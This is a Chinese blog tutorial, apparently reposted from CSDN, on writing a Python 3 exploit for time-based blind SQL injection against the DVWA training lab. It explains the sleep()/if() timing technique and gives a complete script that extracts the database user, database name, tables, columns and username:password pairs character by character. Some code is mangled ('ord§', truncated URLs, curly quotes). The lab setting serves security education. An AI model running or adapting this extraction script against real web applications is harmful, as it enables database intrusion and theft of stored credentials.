SQL Injection (Blind) time盲注入

552 阅读3分钟

python3编写EXP系列

SQL Injection (Blind) time盲注入 1 简介 DVWA靶场这个是最基础的靶场如果想学习EXP编写这个靶场最好不过,如果能把这个靶场的利用的EXP用python3编写出来这样算是合格的exp入门选手了。 github.com/digininja/D… 这个系列的第五篇内容这里会学习到如何通过时间注入,获取账号和密码。

盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。 2 原理 盲注的方法分布有布尔型注入 time注入昨天详细说明了布尔型注入的经过,今天讲的是time注入,也就是时间差注入,或者又叫延时注入,是利用sql语句达到延时的目的,在mysql中用的sleep()函数,select sleep(3) 数据库延时3秒返回信息。利用这个函数加上if函数进行判断,就可以达到延时注入,最后得出要查询的数据。

将dvwa等级设置low的时候访问www.dvwa.com/vulnerabili… !](img-blog.csdnimg.cn/20210414153…)

将延时语句输入可以看到时间是大于10的而且不用理会页面是否返回不同信息。 只要有延时,就能采用延时注入的方法,注入查询内容。

3 编写exp思路 payload ="./@_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 首先要查询内容的长度,再遍历长度每一个字符 与 payload的字符每个进行匹配如果匹配 成功 页面延时5秒返回页面例如 要查询 selectif(length(database())=12,sleep(5),0); 如果查询的数据库长度等于12延时五秒 得到长度 再查询内容 select if(substring(database(),1,1)=‘w’,sleep(5),0); 如果正确延时五秒返回页面。如此类推 一直到最后一个。

编写代码 #coding:utf-8 import requests import time url=“www.dvwa.com/vulnerabili… cookies = {“PHPSESSID”:“db226n2bulhv02k6ajou1i8e87”,“security”:“low”} user=“user()” dbname=“database()” tables="(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database())" columns="(select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x7573657273)" userpass="(select concat(user,0x3a,password) from users limit 1)" times=“sleep()”

def getlen(sql): n=1 while True: start_time =time.time() req = requests.get(url=url + “'and if(length({})={},sleep(5),0)-- &Submit=Submit#”.format(sql,n), cookies=cookies) space_time = time.time()-start_time if space_time>=5: break n=n+1 return n

def getdata(sql): payloads = “./@_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz” getstr = ‘’ for i in range(1,getlen(sql)+1): for p in payloads: start_time = time.time() turl = url + “'and if(ascii(substring({},{},1))={},sleep(5),0)-- &Submit=Submit#”.format(sql,i,ord§) req=requests.get(url=turl,cookies=cookies) space_time = time.time() - start_time print("[+] 正在执行 {} – {} [+]".format(i,p)) if space_time >= 5: getstr+=p print("[]正在获取数据 [] "+getstr) break return getstr

print("[] 当前用户 [] “+getdata(user)) print(”[] 当前库 [] “+getdata(dbname)) print(”[] 库的所有表 [] “+getdata(tables)) print(”[] user表的字段 [] “+getdata(columns)) print(”[] 账号和密码 [] "+getdata(userpass)) 运行如图

SQL Injection (Blind) time盲注入

](img-blog.csdnimg.cn/20210414153…) ———————————————— 版权声明:本文为CSDN博主「网络安全苹果老师」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:blog.csdn.net/Appleteache…